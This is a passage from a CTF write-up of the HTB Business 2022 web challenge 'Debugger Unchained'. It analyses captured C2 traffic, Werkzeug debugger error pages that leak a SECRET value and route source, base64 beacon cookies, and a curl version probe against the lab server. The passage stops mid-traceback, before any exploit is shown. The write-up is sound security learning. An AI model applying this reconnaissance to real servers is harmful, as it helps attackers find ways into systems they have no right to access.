Writeup for HTB Business CTF 2022 challenge Debugger Unchained

Posted on Jul 18, 2022

Business CTF

Recon

Hack The Box arranged the Business CTF 2022 and Debugger Unchained is a web challenge that was ranked easy. The Business CTF is a special event for corporate teams so easy ranked stuff here does not really mean it’s for beginners. This is the info we got:

Our SOC team has discovered a new strain of malware in one of the workstations. They extracted what looked like a C2 profile from the infected machine's memory and exported a network capture of the C2 traffic for further analysis. To discover the culprits, we need you to study the C2 infrastructure and check for potential weaknesses that can get us access to the server.

A small background story and we should get our hands on some captured network traffic and a C2 profile that we can start of by anlyzing. That’s all info we need to get started. our target (the C2 server) is available at 206.189.124.56 and port 31361.

Scanning

Analysing the captured network traffic

Let’s start off by inspecting the captured network traffic. First of all unzip the archive with files that we got.

┌──(root㉿0760542dd268)-[/]
└─# unzip web_debugger_unchained.zip 
Archive:  web_debugger_unchained.zip
   creating: web_debugger_unchained/
  inflating: web_debugger_unchained/traffic.pcapng  
  inflating: web_debugger_unchained/c2.profile  

We can see that there is a .pcapng which should be the captured traffic and then there is c2.profile which we will take a look at later. Let’s load up the traffic.pcapng in wireshark.

Wireshark

There’s a lot of stuff there and it’s mainly http-traffic going back and forth between the victim and the C2 server. After some digging I found something interesting in tcp stream 6.

POST /assets/jquery-3.6.0.slim.min.js HTTP/1.1
Host: cdnjs.cloudflair.co
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Xbox; Xbox One) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36 Edge/44.18363.1337
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive
Accept-Language: en-US,en;q=0.5
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: cross-site
Cookie: __cflb=49f062b5-8b94-4fff-bb41-d504b148aa1b; __cfuid==
Content-Length: 0

HTTP/1.1 500 INTERNAL SERVER ERROR
Server: Werkzeug/2.1.2 Python/3.8.13
Date: Fri, 24 Jun 2022 17:05:45 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 18647
Connection: close

<!doctype html>
<html lang=en>
  <head>
    <title>json.decoder.JSONDecodeError: Expecting value: line 1 column 1 (char 0)
 // Werkzeug Debugger</title>
    <link rel="stylesheet" href="?__debugger__=yes&amp;cmd=resource&amp;f=style.css">
    <link rel="shortcut icon"
        href="?__debugger__=yes&amp;cmd=resource&amp;f=console.png">
    <script src="?__debugger__=yes&amp;cmd=resource&amp;f=debugger.js"></script>
    <script>
      var CONSOLE_MODE = false,
          EVALEX = false,
          EVALEX_TRUSTED = false,
          SECRET = "FmN3FSsiUpAt8sKOQU94";
    </script>
  </head>
  <body style="background-color: #fff">
    <div class="debugger">
<h1>JSONDecodeError</h1>
<div class="detail">
  <p class="errormsg">json.decoder.JSONDecodeError: Expecting value: line 1 column 1 (char 0)
</p>
</div>
<h2 class="traceback">Traceback <em>(most recent call last)</em></h2>
<div class="traceback">
  <h3></h3>
  <ul><li><div class="frame" id="frame-139855013021840">
  <h4>File <cite class="filename">"/usr/local/lib/python3.8/site-packages/flask/app.py"</cite>,
      line <em class="line">2095</em>,
      in <code class="function">__call__</code></h4>
  <div class="source library"><pre class="line before"><span class="ws">    </span>def __call__(self, environ: dict, start_response: t.Callable) -&gt; t.Any:</pre>
<pre class="line before"><span class="ws">        </span>&quot;&quot;&quot;The WSGI server calls the Flask application object as the</pre>
<pre class="line before"><span class="ws">        </span>WSGI application. This calls :meth:`wsgi_app`, which can be</pre>
<pre class="line before"><span class="ws">        </span>wrapped to apply middleware.</pre>
<pre class="line before"><span class="ws">        </span>&quot;&quot;&quot;</pre>
<pre class="line current"><span class="ws">        </span>return self.wsgi_app(environ, start_response)</pre></div>
</div>

<li><div class="frame" id="frame-139855013021504">
  <h4>File <cite class="filename">"/usr/local/lib/python3.8/site-packages/flask/app.py"</cite>,
      line <em class="line">2080</em>,
      in <code class="function">wsgi_app</code></h4>
  <div class="source library"><pre class="line before"><span class="ws">            </span>try:</pre>
<pre class="line before"><span class="ws">                </span>ctx.push()</pre>
<pre class="line before"><span class="ws">                </span>response = self.full_dispatch_request()</pre>
<pre class="line before"><span class="ws">            </span>except Exception as e:</pre>
<pre class="line before"><span class="ws">                </span>error = e</pre>
<pre class="line current"><span class="ws">                </span>response = self.handle_exception(e)</pre>
<pre class="line after"><span class="ws">            </span>except:  # noqa: B001</pre>
<pre class="line after"><span class="ws">                </span>error = sys.exc_info()[1]</pre>
<pre class="line after"><span class="ws">                </span>raise</pre>
<pre class="line after"><span class="ws">            </span>return response(environ, start_response)</pre>
<pre class="line after"><span class="ws">        </span>finally:</pre></div>
</div>

<li><div class="frame" id="frame-139855013021056">
  <h4>File <cite class="filename">"/usr/local/lib/python3.8/site-packages/flask/app.py"</cite>,
      line <em class="line">2077</em>,
      in <code class="function">wsgi_app</code></h4>
  <div class="source library"><pre class="line before"><span class="ws">        </span>ctx = self.request_context(environ)</pre>
<pre class="line before"><span class="ws">        </span>error: t.Optional[BaseException] = None</pre>
<pre class="line before"><span class="ws">        </span>try:</pre>
<pre class="line before"><span class="ws">            </span>try:</pre>
<pre class="line before"><span class="ws">                </span>ctx.push()</pre>
<pre class="line current"><span class="ws">                </span>response = self.full_dispatch_request()</pre>
<pre class="line after"><span class="ws">            </span>except Exception as e:</pre>
<pre class="line after"><span class="ws">                </span>error = e</pre>
<pre class="line after"><span class="ws">                </span>response = self.handle_exception(e)</pre>
<pre class="line after"><span class="ws">            </span>except:  # noqa: B001</pre>
<pre class="line after"><span class="ws">                </span>error = sys.exc_info()[1]</pre></div>
</div>

<li><div class="frame" id="frame-139855013021280">
  <h4>File <cite class="filename">"/usr/local/lib/python3.8/site-packages/flask/app.py"</cite>,
      line <em class="line">1525</em>,
      in <code class="function">full_dispatch_request</code></h4>
  <div class="source library"><pre class="line before"><span class="ws">            </span>request_started.send(self)</pre>
<pre class="line before"><span class="ws">            </span>rv = self.preprocess_request()</pre>
<pre class="line before"><span class="ws">            </span>if rv is None:</pre>
<pre class="line before"><span class="ws">                </span>rv = self.dispatch_request()</pre>
<pre class="line before"><span class="ws">        </span>except Exception as e:</pre>
<pre class="line current"><span class="ws">            </span>rv = self.handle_user_exception(e)</pre>
<pre class="line after"><span class="ws">        </span>return self.finalize_request(rv)</pre>
<pre class="line after"><span class="ws"></span> </pre>
<pre class="line after"><span class="ws">    </span>def finalize_request(</pre>
<pre class="line after"><span class="ws">        </span>self,</pre>
<pre class="line after"><span class="ws">        </span>rv: t.Union[ResponseReturnValue, HTTPException],</pre></div>
</div>

<li><div class="frame" id="frame-139855013021392">
  <h4>File <cite class="filename">"/usr/local/lib/python3.8/site-packages/flask/app.py"</cite>,
      line <em class="line">1523</em>,
      in <code class="function">full_dispatch_request</code></h4>
  <div class="source library"><pre class="line before"><span class="ws">        </span>self.try_trigger_before_first_request_functions()</pre>
<pre class="line before"><span class="ws">        </span>try:</pre>
<pre class="line before"><span class="ws">            </span>request_started.send(self)</pre>
<pre class="line before"><span class="ws">            </span>rv = self.preprocess_request()</pre>
<pre class="line before"><span class="ws">            </span>if rv is None:</pre>
<pre class="line current"><span class="ws">                </span>rv = self.dispatch_request()</pre>
<pre class="line after"><span class="ws">        </span>except Exception as e:</pre>
<pre class="line after"><span class="ws">            </span>rv = self.handle_user_exception(e)</pre>
<pre class="line after"><span class="ws">        </span>return self.finalize_request(rv)</pre>
<pre class="line after"><span class="ws"></span> </pre>
<pre class="line after"><span class="ws">    </span>def finalize_request(</pre></div>
</div>

<li><div class="frame" id="frame-139855013021728">
  <h4>File <cite class="filename">"/usr/local/lib/python3.8/site-packages/flask/app.py"</cite>,
      line <em class="line">1509</em>,
      in <code class="function">dispatch_request</code></h4>
  <div class="source library"><pre class="line before"><span class="ws">            </span>getattr(rule, &quot;provide_automatic_options&quot;, False)</pre>
<pre class="line before"><span class="ws">            </span>and req.method == &quot;OPTIONS&quot;</pre>
<pre class="line before"><span class="ws">        </span>):</pre>
<pre class="line before"><span class="ws">            </span>return self.make_default_options_response()</pre>
<pre class="line before"><span class="ws">        </span># otherwise dispatch to the handler for that endpoint</pre>
<pre class="line current"><span class="ws">        </span>return self.ensure_sync(self.view_functions[rule.endpoint])(**req.view_args)</pre>
<pre class="line after"><span class="ws"></span> </pre>
<pre class="line after"><span class="ws">    </span>def full_dispatch_request(self) -&gt; Response:</pre>
<pre class="line after"><span class="ws">        </span>&quot;&quot;&quot;Dispatches the request and on top of that performs request</pre>
<pre class="line after"><span class="ws">        </span>pre and postprocessing as well as HTTP exception catching and</pre>
<pre class="line after"><span class="ws">        </span>error handling.</pre></div>
</div>

<li><div class="frame" id="frame-139855013020944">
  <h4>File <cite class="filename">"/app/application/util.py"</cite>,
      line <em class="line">11</em>,
      in <code class="function">wrap</code></h4>
  <div class="source "><pre class="line before"><span class="ws"></span> </pre>
<pre class="line before"><span class="ws"></span>def is_bot(f):</pre>
<pre class="line before"><span class="ws">    </span>@functools.wraps(f)</pre>
<pre class="line before"><span class="ws">    </span>def wrap(*args, **kwargs):</pre>
<pre class="line before"><span class="ws">        </span>if current_app.config[&#x27;BOT_CONFIG&#x27;][&#x27;user_agent&#x27;] == request.headers.get(&#x27;User-Agent&#x27;):</pre>
<pre class="line current"><span class="ws">            </span>return f(*args, **kwargs)</pre>
<pre class="line after"><span class="ws">        </span>else:</pre>
<pre class="line after"><span class="ws">            </span>return send_from_directory(&#x27;./static/js&#x27;, os.path.basename(current_app.config[&#x27;BOT_CONFIG&#x27;][&#x27;get_uri&#x27;]))</pre>
<pre class="line after"><span class="ws"></span> </pre>
<pre class="line after"><span class="ws">    </span>return wrap</pre>
<pre class="line after"><span class="ws"></span> </pre></div>
</div>

<li><div class="frame" id="frame-139855013021616">
  <h4>File <cite class="filename">"/app/application/blueprints/routes.py"</cite>,
      line <em class="line">55</em>,
      in <code class="function">botRecv</code></h4>
  <div class="source "><pre class="line before"><span class="ws">        </span>return fake_script()</pre>
<pre class="line before"><span class="ws"></span> </pre>
<pre class="line before"><span class="ws">    </span>bot = Bot(botUUID)</pre>
<pre class="line before"><span class="ws"></span> </pre>
<pre class="line before"><span class="ws">    </span>if botDATA:</pre>
<pre class="line current"><span class="ws">        </span>taskDATA = json.loads(rec_b64(unquote_plus(botDATA)))</pre>
<pre class="line after"><span class="ws">        </span>bot.saveTaskResp(**taskDATA)</pre>
<pre class="line after"><span class="ws"></span> </pre>
<pre class="line after"><span class="ws">    </span>return fake_script(f&#x27;task=&quot;&quot;;&#x27;)</pre></div>
</div>

<li><div class="frame" id="frame-139855013022064">
  <h4>File <cite class="filename">"/usr/local/lib/python3.8/json/__init__.py"</cite>,
      line <em class="line">357</em>,
      in <code class="function">loads</code></h4>
  <div class="source library"><pre class="line before"><span class="ws">        </span>del kw[&#x27;encoding&#x27;]</pre>
<pre class="line before"><span class="ws"></span> </pre>
<pre class="line before"><span class="ws">    </span>if (cls is None and object_hook is None and</pre>
<pre class="line before"><span class="ws">            </span>parse_int is None and parse_float is None and</pre>
<pre class="line before"><span class="ws">            </span>parse_constant is None and object_pairs_hook is None and not kw):</pre>
<pre class="line current"><span class="ws">        </span>return _default_decoder.decode(s)</pre>
<pre class="line after"><span class="ws">    </span>if cls is None:</pre>
<pre class="line after"><span class="ws">        </span>cls = JSONDecoder</pre>
<pre class="line after"><span class="ws">    </span>if object_hook is not None:</pre>
<pre class="line after"><span class="ws">        </span>kw[&#x27;object_hook&#x27;] = object_hook</pre>
<pre class="line after"><span class="ws">    </span>if object_pairs_hook is not None:</pre></div>
</div>

<li><div class="frame" id="frame-139855013022176">
  <h4>File <cite class="filename">"/usr/local/lib/python3.8/json/decoder.py"</cite>,
      line <em class="line">337</em>,
      in <code class="function">decode</code></h4>
  <div class="source library"><pre class="line before"><span class="ws">    </span>def decode(self, s, _w=WHITESPACE.match):</pre>
<pre class="line before"><span class="ws">        </span>&quot;&quot;&quot;Return the Python representation of ``s`` (a ``str`` instance</pre>
<pre class="line before"><span class="ws">        </span>containing a JSON document).</pre>
<pre class="line before"><span class="ws"></span> </pre>
<pre class="line before"><span class="ws">        </span>&quot;&quot;&quot;</pre>
<pre class="line current"><span class="ws">        </span>obj, end = self.raw_decode(s, idx=_w(s, 0).end())</pre>
<pre class="line after"><span class="ws">        </span>end = _w(s, end).end()</pre>
<pre class="line after"><span class="ws">        </span>if end != len(s):</pre>
<pre class="line after"><span class="ws">            </span>raise JSONDecodeError(&quot;Extra data&quot;, s, end)</pre>
<pre class="line after"><span class="ws">        </span>return obj</pre>
<pre class="line after"><span class="ws"></span> </pre></div>
</div>

<li><div class="frame" id="frame-139855013022400">
  <h4>File <cite class="filename">"/usr/local/lib/python3.8/json/decoder.py"</cite>,
      line <em class="line">355</em>,
      in <code class="function">raw_decode</code></h4>
  <div class="source library"><pre class="line before"><span class="ws"></span> </pre>
<pre class="line before"><span class="ws">        </span>&quot;&quot;&quot;</pre>
<pre class="line before"><span class="ws">        </span>try:</pre>
<pre class="line before"><span class="ws">            </span>obj, end = self.scan_once(s, idx)</pre>
<pre class="line before"><span class="ws">        </span>except StopIteration as err:</pre>
<pre class="line current"><span class="ws">            </span>raise JSONDecodeError(&quot;Expecting value&quot;, s, err.value) from None</pre>
<pre class="line after"><span class="ws">        </span>return obj, end</pre></div>
</div>
</ul>
  <blockquote>json.decoder.JSONDecodeError: Expecting value: line 1 column 1 (char 0)
</blockquote>
</div>

<div class="plain">
    <p>
      This is the Copy/Paste friendly version of the traceback.
    </p>
    <textarea cols="50" rows="10" name="code" readonly>Traceback (most recent call last):
  File &quot;/usr/local/lib/python3.8/site-packages/flask/app.py&quot;, line 2095, in __call__
    return self.wsgi_app(environ, start_response)
  File &quot;/usr/local/lib/python3.8/site-packages/flask/app.py&quot;, line 2080, in wsgi_app
    response = self.handle_exception(e)
  File &quot;/usr/local/lib/python3.8/site-packages/flask/app.py&quot;, line 2077, in wsgi_app
    response = self.full_dispatch_request()
  File &quot;/usr/local/lib/python3.8/site-packages/flask/app.py&quot;, line 1525, in full_dispatch_request
    rv = self.handle_user_exception(e)
  File &quot;/usr/local/lib/python3.8/site-packages/flask/app.py&quot;, line 1523, in full_dispatch_request
    rv = self.dispatch_request()
  File &quot;/usr/local/lib/python3.8/site-packages/flask/app.py&quot;, line 1509, in dispatch_request
    return self.ensure_sync(self.view_functions[rule.endpoint])(**req.view_args)
  File &quot;/app/application/util.py&quot;, line 11, in wrap
    return f(*args, **kwargs)
  File &quot;/app/application/blueprints/routes.py&quot;, line 55, in botRecv
    taskDATA = json.loads(rec_b64(unquote_plus(botDATA)))
  File &quot;/usr/local/lib/python3.8/json/__init__.py&quot;, line 357, in loads
    return _default_decoder.decode(s)
  File &quot;/usr/local/lib/python3.8/json/decoder.py&quot;, line 337, in decode
    obj, end = self.raw_decode(s, idx=_w(s, 0).end())
  File &quot;/usr/local/lib/python3.8/json/decoder.py&quot;, line 355, in raw_decode
    raise JSONDecodeError(&quot;Expecting value&quot;, s, err.value) from None
json.decoder.JSONDecodeError: Expecting value: line 1 column 1 (char 0)
</textarea>
</div>
<div class="explanation">
  The debugger caught an exception in your WSGI application.  You can now
  look at the traceback which led to the error.  <span class="nojavascript">
  If you enable JavaScript you can also use additional features such as code
  execution (if the evalex feature is enabled), automatic pasting of the
  exceptions and much more.</span>
</div>
      <div class="footer">
        Brought to you by <strong class="arthur">DON'T PANIC</strong>, your
        friendly Werkzeug powered traceback interpreter.
      </div>
    </div>

    <div class="pin-prompt">
      <div class="inner">
        <h3>Console Locked</h3>
        <p>
          The console is locked and needs to be unlocked by entering the PIN.
          You can find the PIN printed out on the standard output of your
          shell that runs the server.
        <form>
          <p>PIN:
            <input type=text name=pin size=14>
            <input type=submit name=btn value="Confirm Pin">
        </form>
      </div>
    </div>
  </body>
</html>

<!--

Traceback (most recent call last):
  File "/usr/local/lib/python3.8/site-packages/flask/app.py", line 2095, in __call__
    return self.wsgi_app(environ, start_response)
  File "/usr/local/lib/python3.8/site-packages/flask/app.py", line 2080, in wsgi_app
    response = self.handle_exception(e)
  File "/usr/local/lib/python3.8/site-packages/flask/app.py", line 2077, in wsgi_app
    response = self.full_dispatch_request()
  File "/usr/local/lib/python3.8/site-packages/flask/app.py", line 1525, in full_dispatch_request
    rv = self.handle_user_exception(e)
  File "/usr/local/lib/python3.8/site-packages/flask/app.py", line 1523, in full_dispatch_request
    rv = self.dispatch_request()
  File "/usr/local/lib/python3.8/site-packages/flask/app.py", line 1509, in dispatch_request
    return self.ensure_sync(self.view_functions[rule.endpoint])(**req.view_args)
  File "/app/application/util.py", line 11, in wrap
    return f(*args, **kwargs)
  File "/app/application/blueprints/routes.py", line 55, in botRecv
    taskDATA = json.loads(rec_b64(unquote_plus(botDATA)))
  File "/usr/local/lib/python3.8/json/__init__.py", line 357, in loads
    return _default_decoder.decode(s)
  File "/usr/local/lib/python3.8/json/decoder.py", line 337, in decode
    obj, end = self.raw_decode(s, idx=_w(s, 0).end())
  File "/usr/local/lib/python3.8/json/decoder.py", line 355, in raw_decode
    raise JSONDecodeError("Expecting value", s, err.value) from None
json.decoder.JSONDecodeError: Expecting value: line 1 column 1 (char 0)


-->

What first catches my eye is obviously this:

    <script>
      var CONSOLE_MODE = false,
          EVALEX = false,
          EVALEX_TRUSTED = false,
          SECRET = "FmN3FSsiUpAt8sKOQU94";
    </script>

The word secret always interests me :) This tells me that it’s probably a Flask application. Flask has had many vulnerabilities through the years of which breaking into the console is one of the more famous. But it says CONSOLE_MODE = false so let’s continue digging. Next thing thats very interesting is this:

Traceback (most recent call last):
  File "/usr/local/lib/python3.8/site-packages/flask/app.py", line 2095, in __call__
    return self.wsgi_app(environ, start_response)
  File "/usr/local/lib/python3.8/site-packages/flask/app.py", line 2080, in wsgi_app
    response = self.handle_exception(e)
  File "/usr/local/lib/python3.8/site-packages/flask/app.py", line 2077, in wsgi_app
    response = self.full_dispatch_request()
  File "/usr/local/lib/python3.8/site-packages/flask/app.py", line 1525, in full_dispatch_request
    rv = self.handle_user_exception(e)
  File "/usr/local/lib/python3.8/site-packages/flask/app.py", line 1523, in full_dispatch_request
    rv = self.dispatch_request()
  File "/usr/local/lib/python3.8/site-packages/flask/app.py", line 1509, in dispatch_request
    return self.ensure_sync(self.view_functions[rule.endpoint])(**req.view_args)
  File "/app/application/util.py", line 11, in wrap
    return f(*args, **kwargs)
  File "/app/application/blueprints/routes.py", line 55, in botRecv
    taskDATA = json.loads(rec_b64(unquote_plus(botDATA)))
  File "/usr/local/lib/python3.8/json/__init__.py", line 357, in loads
    return _default_decoder.decode(s)
  File "/usr/local/lib/python3.8/json/decoder.py", line 337, in decode
    obj, end = self.raw_decode(s, idx=_w(s, 0).end())
  File "/usr/local/lib/python3.8/json/decoder.py", line 355, in raw_decode
    raise JSONDecodeError("Expecting value", s, err.value) from None
json.decoder.JSONDecodeError: Expecting value: line 1 column 1 (char 0)

We can now be sure that it is a Flask application and it’s using Python 3.8 for runtime. Im not that familiar with Flask but after some reading i came to the conclusion that the reason we see this exception returned to us is that it has the debugger console enabled. I tried some simple known attacks for a while but nothing worked. So just to be sure what we are dealing with let’s try to find out the versions of the software:

┌──(root㉿0760542dd268)-[/]
└─# curl 206.189.124.56:31361 --head
HTTP/1.1 200 OK
Server: Werkzeug/2.1.2 Python/3.8.13
Date: Mon, 18 Jul 2022 12:16:17 GMT
Content-Type: application/json
Content-Length: 33
Connection: close

It’s very kind and tells us right away that it´s Werkzeug 2.1.2. That seems to be very recent version of Flask so older exploits should probably not work. Let’s dig further and I find this stuff in tcp stream 8.

POST /assets/jquery-3.6.0.slim.min.js HTTP/1.1
Host: cdnjs.cloudflair.co
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Xbox; Xbox One) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36 Edge/44.18363.1337
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive
Accept-Language: en-US,en;q=0.5
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: cross-site
Cookie: __cflb=49f062b5-8b94-4fff-bb41-d504b148aa1b; __cfuid=eyJpZCI6IDIwLCAib3V0cHV0IjogIkNsZHBibVJ2ZDNNZ1NWQWdRMjl1Wm1sbmRYSmhkR2x2YmdvS0lDQWdTRzl6ZENCT1lXMWxJQzRnTGlBdUlDNGdMaUF1SUM0Z0xpQXVJQzRnTGlBdUlEb2dSRVZUUzFSUFVDMVJWak5PVVV4TkNpQWdJRkJ5YVcxaGNua2dSRzV6SUZOMVptWnBlQ0FnTGlBdUlDNGdMaUF1SUM0Z0xpQTZJQW9nSUNCT2IyUmxJRlI1Y0dVZ0xpQXVJQzRnTGlBdUlDNGdMaUF1SUM0Z0xpQXVJQzRnT2lCSWVXSnlhV1FLSUNBZ1NWQWdVbTkxZEdsdVp5QkZibUZpYkdWa0xpQXVJQzRnTGlBdUlDNGdMaUF1SURvZ1RtOEtJQ0FnVjBsT1V5QlFjbTk0ZVNCRmJtRmliR1ZrTGlBdUlDNGdMaUF1SUM0Z0xpQXVJRG9nVG04S0lDQWdSRTVUSUZOMVptWnBlQ0JUWldGeVkyZ2dUR2x6ZEM0Z0xpQXVJQzRnTGlBdUlEb2diRzlqWVd4a2IyMWhhVzRLQ2tWMGFHVnlibVYwSUdGa1lYQjBaWElnUlhSb1pYSnVaWFF3T2dvS0lDQWdRMjl1Ym1WamRHbHZiaTF6Y0dWamFXWnBZeUJFVGxNZ1UzVm1abWw0SUNBdUlEb2diRzlqWVd4a2IyMWhhVzRLSUNBZ1JHVnpZM0pwY0hScGIyNGdMaUF1SUM0Z0xpQXVJQzRnTGlBdUlDNGdMaUF1SURvZ1NXNTBaV3dvVWlrZ09ESTFOelJNSUVkcFoyRmlhWFFnVG1WMGQyOXlheUJEYjI1dVpXTjBhVzl1Q2lBZ0lGQm9lWE5wWTJGc0lFRmtaSEpsYzNNdUlDNGdMaUF1SUM0Z0xpQXVJQzRnTGlBNklEQXdMVEJETFRJNUxUVTBMVVF4TFRVekNpQWdJRVJJUTFBZ1JXNWhZbXhsWkM0Z0xpQXVJQzRnTGlBdUlDNGdMaUF1SUM0Z0xpQTZJRmxsY3dvZ0lDQkJkWFJ2WTI5dVptbG5kWEpoZEdsdmJpQkZibUZpYkdWa0lDNGdMaUF1SUM0Z09pQlpaWE1LSUNBZ1RHbHVheTFzYjJOaGJDQkpVSFkySUVGa1pISmxjM01nTGlBdUlDNGdMaUF1SURvZ1ptVTRNRG82TmpBMk56b3hNVFV5T21KaE5tTTZNalpqTnlVMktGQnlaV1psY25KbFpDa2dDaUFnSUVsUWRqUWdRV1JrY21WemN5NGdMaUF1SUM0Z0xpQXVJQzRnTGlBdUlDNGdMaUE2SURFNU1pNHhOamd1TVRNM0xqRXpNU2hRY21WbVpYSnlaV1FwSUFvZ0lDQlRkV0p1WlhRZ1RXRnpheUF1SUM0Z0xpQXVJQzRnTGlBdUlDNGdMaUF1SUM0Z09pQXlOVFV1TWpVMUxqSTFOUzR3Q2lBZ0lFeGxZWE5sSUU5aWRHRnBibVZrTGlBdUlDNGdMaUF1SUM0Z0xpQXVJQzRnTGlBNklESTBJRXAxYm1VZ01qQXlNaUF4TnpvME9Eb3hNd29nSUNCTVpXRnpaU0JGZUhCcGNtVnpJQzRnTGlBdUlDNGdMaUF1SUM0Z0xpQXVJQzRnT2lBeU5DQktkVzVsSURJd01qSWdNakk2TXpNNk1UUUtJQ0FnUkdWbVlYVnNkQ0JIWVhSbGQyRjVJQzRnTGlBdUlDNGdMaUF1SUM0Z0xpQXVJRG9nQ2lBZ0lFUklRMUFnVTJWeWRtVnlJQzRnTGlBdUlDNGdMaUF1SUM0Z0xpQXVJQzRnTGlBNklERTVNaTR4TmpndU1UTTNMakkxTkFvZ0lDQkVTRU5RZGpZZ1NVRkpSQ0F1SUM0Z0xpQXVJQzRnTGlBdUlDNGdMaUF1SUM0Z09pQXhNREEyTmpZME1Ea0tJQ0FnUkVoRFVIWTJJRU5zYVdWdWRDQkVWVWxFTGlBdUlDNGdMaUF1SUM0Z0xpQXVJRG9nTURBdE1ERXRNREF0TURFdE1qa3RNemd0TTBFdE5UZ3RNREF0TUVNdE1qa3ROVFF0UkRFdE5UTUtJQ0FnUkU1VElGTmxjblpsY25NZ0xpQXVJQzRnTGlBdUlDNGdMaUF1SUM0Z0xpQXVJRG9nTVRreUxqRTJPQzR4TXpjdU1Rb2dJQ0JPWlhSQ1NVOVRJRzkyWlhJZ1ZHTndhWEF1SUM0Z0xpQXVJQzRnTGlBdUlDNGdPaUJGYm1GaWJHVmsifQ==
Content-Length: 0

HTTP/1.1 500 INTERNAL SERVER ERROR
Server: Werkzeug/2.1.2 Python/3.8.13
Date: Fri, 24 Jun 2022 17:05:45 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 18904
Connection: close

<!doctype html>
<html lang=en>
  <head>
    <title>psycopg2.errors.UniqueViolation: duplicate key value violates unique constraint "task_outputs_task_id_key"
DETAIL:  Key (task_id)=(20) already exists.

 // Werkzeug Debugger</title>
    <link rel="stylesheet" href="?__debugger__=yes&amp;cmd=resource&amp;f=style.css">
    <link rel="shortcut icon"
        href="?__debugger__=yes&amp;cmd=resource&amp;f=console.png">
    <script src="?__debugger__=yes&amp;cmd=resource&amp;f=debugger.js"></script>
    <script>
      var CONSOLE_MODE = false,
          EVALEX = false,
          EVALEX_TRUSTED = false,
          SECRET = "FmN3FSsiUpAt8sKOQU94";
    </script>
  </head>
  <body style="background-color: #fff">
    <div class="debugger">
<h1>UniqueViolation</h1>
<div class="detail">
  <p class="errormsg">psycopg2.errors.UniqueViolation: duplicate key value violates unique constraint &quot;task_outputs_task_id_key&quot;
DETAIL:  Key (task_id)=(20) already exists.

</p>
</div>
<h2 class="traceback">Traceback <em>(most recent call last)</em></h2>
<div class="traceback">
  <h3></h3>
  <ul><li><div class="frame" id="frame-139855013022848">
  <h4>File <cite class="filename">"/usr/local/lib/python3.8/site-packages/flask/app.py"</cite>,
      line <em class="line">2095</em>,
      in <code class="function">__call__</code></h4>
  <div class="source library"><pre class="line before"><span class="ws">    </span>def __call__(self, environ: dict, start_response: t.Callable) -&gt; t.Any:</pre>
<pre class="line before"><span class="ws">        </span>&quot;&quot;&quot;The WSGI server calls the Flask application object as the</pre>
<pre class="line before"><span class="ws">        </span>WSGI application. This calls :meth:`wsgi_app`, which can be</pre>
<pre class="line before"><span class="ws">        </span>wrapped to apply middleware.</pre>
<pre class="line before"><span class="ws">        </span>&quot;&quot;&quot;</pre>
<pre class="line current"><span class="ws">        </span>return self.wsgi_app(environ, start_response)</pre></div>
</div>

<li><div class="frame" id="frame-139855013022736">
  <h4>File <cite class="filename">"/usr/local/lib/python3.8/site-packages/flask/app.py"</cite>,
      line <em class="line">2080</em>,
      in <code class="function">wsgi_app</code></h4>
  <div class="source library"><pre class="line before"><span class="ws">            </span>try:</pre>
<pre class="line before"><span class="ws">                </span>ctx.push()</pre>
<pre class="line before"><span class="ws">                </span>response = self.full_dispatch_request()</pre>
<pre class="line before"><span class="ws">            </span>except Exception as e:</pre>
<pre class="line before"><span class="ws">                </span>error = e</pre>
<pre class="line current"><span class="ws">                </span>response = self.handle_exception(e)</pre>
<pre class="line after"><span class="ws">            </span>except:  # noqa: B001</pre>
<pre class="line after"><span class="ws">                </span>error = sys.exc_info()[1]</pre>
<pre class="line after"><span class="ws">                </span>raise</pre>
<pre class="line after"><span class="ws">            </span>return response(environ, start_response)</pre>
<pre class="line after"><span class="ws">        </span>finally:</pre></div>
</div>

<li><div class="frame" id="frame-139855013022624">
  <h4>File <cite class="filename">"/usr/local/lib/python3.8/site-packages/flask/app.py"</cite>,
      line <em class="line">2077</em>,
      in <code class="function">wsgi_app</code></h4>
  <div class="source library"><pre class="line before"><span class="ws">        </span>ctx = self.request_context(environ)</pre>
<pre class="line before"><span class="ws">        </span>error: t.Optional[BaseException] = None</pre>
<pre class="line before"><span class="ws">        </span>try:</pre>
<pre class="line before"><span class="ws">            </span>try:</pre>
<pre class="line before"><span class="ws">                </span>ctx.push()</pre>
<pre class="line current"><span class="ws">                </span>response = self.full_dispatch_request()</pre>
<pre class="line after"><span class="ws">            </span>except Exception as e:</pre>
<pre class="line after"><span class="ws">                </span>error = e</pre>
<pre class="line after"><span class="ws">                </span>response = self.handle_exception(e)</pre>
<pre class="line after"><span class="ws">            </span>except:  # noqa: B001</pre>
<pre class="line after"><span class="ws">                </span>error = sys.exc_info()[1]</pre></div>
</div>

<li><div class="frame" id="frame-139855013022960">
  <h4>File <cite class="filename">"/usr/local/lib/python3.8/site-packages/flask/app.py"</cite>,
      line <em class="line">1525</em>,
      in <code class="function">full_dispatch_request</code></h4>
  <div class="source library"><pre class="line before"><span class="ws">            </span>request_started.send(self)</pre>
<pre class="line before"><span class="ws">            </span>rv = self.preprocess_request()</pre>
<pre class="line before"><span class="ws">            </span>if rv is None:</pre>
<pre class="line before"><span class="ws">                </span>rv = self.dispatch_request()</pre>
<pre class="line before"><span class="ws">        </span>except Exception as e:</pre>
<pre class="line current"><span class="ws">            </span>rv = self.handle_user_exception(e)</pre>
<pre class="line after"><span class="ws">        </span>return self.finalize_request(rv)</pre>
<pre class="line after"><span class="ws"></span> </pre>
<pre class="line after"><span class="ws">    </span>def finalize_request(</pre>
<pre class="line after"><span class="ws">        </span>self,</pre>
<pre class="line after"><span class="ws">        </span>rv: t.Union[ResponseReturnValue, HTTPException],</pre></div>
</div>

<li><div class="frame" id="frame-139855013023072">
  <h4>File <cite class="filename">"/usr/local/lib/python3.8/site-packages/flask/app.py"</cite>,
      line <em class="line">1523</em>,
      in <code class="function">full_dispatch_request</code></h4>
